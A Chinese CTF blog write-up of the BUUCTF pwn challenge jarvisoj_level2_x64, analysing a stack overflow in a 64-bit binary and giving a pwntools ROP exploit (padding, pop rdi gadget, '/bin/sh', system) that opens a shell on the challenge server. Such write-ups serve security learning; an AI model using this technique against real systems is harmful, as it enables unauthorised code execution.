pwn刷题num32----ret2text

最新推荐文章于 2024-01-31 19:53:31 发布

tbsqigongzi

最新推荐文章于 2024-01-31 19:53:31 发布

阅读量467

点赞数 1

分类专栏： BUUCTF pwn CTF 文章标签：系统安全网络安全 c语言安全 python

本文链接：https://blog.csdn.net/tbsqigongzi/article/details/124460724

版权

pwn 同时被 3 个专栏收录

67 篇文章 5 订阅

订阅专栏

CTF

61 篇文章 1 订阅

订阅专栏

BUUCTF

36 篇文章 0 订阅

订阅专栏

BUUCTF-PWN-jarvisoj_level2_x64

在这里插入图片描述
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行

64位程序，小端序
未开启RELRO-----got表可写
未开启canary保护-----存在栈溢出
开启NX保护-----堆栈不可执行
未开启PIE-----程序地址为真实地址
动态链接

ida一下看一下主函数
在这里插入图片描述
看一下 vulnerable_function();函数

栈溢出，read函数读入0x200字节放在buf处，而buf只有0x80字节大小，可以覆盖返回地址
看一下栈区

buf距离返回地址（r）0x88字节（0x80+0x8）
看一下程序发现没有后门函数，不过有system函数（地址0x4004C0）
在这里插入图片描述
找一下字符串/bin/sh地址（0x600A90）

exp

from pwn import *
context(os = 'linux',log_level = 'debug',endian = 'little',arch = 'amd64')
sh = remote('node4.buuoj.cn',29533)
system_addr = 0x4004C0
bin_sh_addr = 0x600A90
pop_rdi_ret_addr = 0x4006b3
payload = flat(['a' * 0x88,pop_rdi_ret_addr,bin_sh_addr,system_addr])
sh.sendline(payload)
sh.interactive()

运行获得shell
在这里插入图片描述